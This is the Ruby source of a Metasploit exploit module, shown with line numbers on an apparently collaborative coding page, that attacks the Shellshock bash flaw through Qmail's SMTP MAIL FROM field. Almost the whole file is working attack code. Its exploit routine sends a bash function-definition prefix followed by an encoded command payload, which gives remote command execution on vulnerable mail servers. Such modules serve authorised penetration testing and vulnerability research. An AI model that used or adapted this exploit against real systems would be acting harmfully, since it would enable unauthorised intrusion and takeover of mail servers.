Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
 ##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Smtp
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'           => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
14
      'Description'    => %q{
15
        This module exploits a shellshock vulnerability on Qmail, a public
16
        domain MTA written in C that runs on Unix systems.
17
        Due to the lack of validation on the MAIL FROM field, it is possible to
18
        execute shell code on a system with a vulnerable BASH (Shellshock).
19
        This flaw works on the latest Qmail versions (qmail-1.03 and
20
        netqmail-1.06).
21
        However, in order to execute code, /bin/sh has to be linked to bash
22
        (usually default configuration) and a valid recipient must be set on the
23
        RCPT TO field (usually [email protected]).
24
        The exploit does not work on the "qmailrocks" community version
25
        as it ensures the MAILFROM field is well-formed.
26
      },
27
      'Author'         =>
28
        [
29
          'Mario Ledo (Metasploit module)',
30
          'Gabriel Follon (Metasploit module)',
31
          'Kyle George (Vulnerability discovery)'
32
        ],
33
      'License'        => MSF_LICENSE,
34
      'Platform'       => ['unix'],
35
      'Arch'           => ARCH_CMD,
36
      'References'     =>
37
        [
38
          ['CVE', '2014-6271'],
39
          ['CWE', '94'],
40
          ['OSVDB', '112004'],
41
          ['EDB', '34765'],
42
          ['URL', 'https://seclists.org/oss-sec/2014/q3/649'],
43
          ['URL', 'https://lists.gt.net/qmail/users/138578']
44
        ],
45
      'Payload'        =>
46
        {
47
          'BadChars' => "\x3e",
48
          'Space'       => 888,
49
          'DisableNops' => true,
50
          'Compat'      =>
51
            {
52
              'PayloadType' => 'cmd',
53
              'RequiredCmd' => 'generic telnet perl ruby python'
54
              # telnet ruby python and perl works only if installed on target
55
            }
56
        },
57
      'Targets'        => [ [ 'Automatic', { }] ],
58
      'DefaultTarget'  => 0,
59
      'DisclosureDate' => '2014-09-24'
60
    ))
61

62
    deregister_options('MAILFROM')
63
  end
64

65
  def smtp_send(data = nil)
66
    begin
67
      result = ''
68
      code = 0
69
      sock.put("#{data}")
70
      result = sock.get_once
71
      result.chomp! if (result)
72
      code = result[0..2].to_i if result
73
      return result, code
74
    rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
75
      return result, 0
76
    rescue ::Exception => e
77
      print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
78
      return nil, 0
79
    end
80
  end
81

82
  def exploit
83
    to = datastore['MAILTO']
84
    connect
85
    result = smtp_send("HELO localhost\r\n")
86
    if result[1] < 200 || result[1] > 300
87
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
88
    end
89
    print_status('Sending the payload...')
90
    result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
91
    if result[1] < 200 || result[1] > 300
92
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
93
    end
94
    print_status("Sending RCPT TO #{to}")
95
    result = smtp_send("rcpt to:<#{to}>\r\n")
96
    if result[1] < 200 || result[1] > 300
97
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
98
    end
99
    result = smtp_send("data\r\n")
100
    if result[1] < 200 || result[1] > 354
101
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
102
    end
103
    result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
104
    if result[1] < 200 || result[1] > 300
105
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
106
    end
107
    disconnect
108
  end
109
end
110

111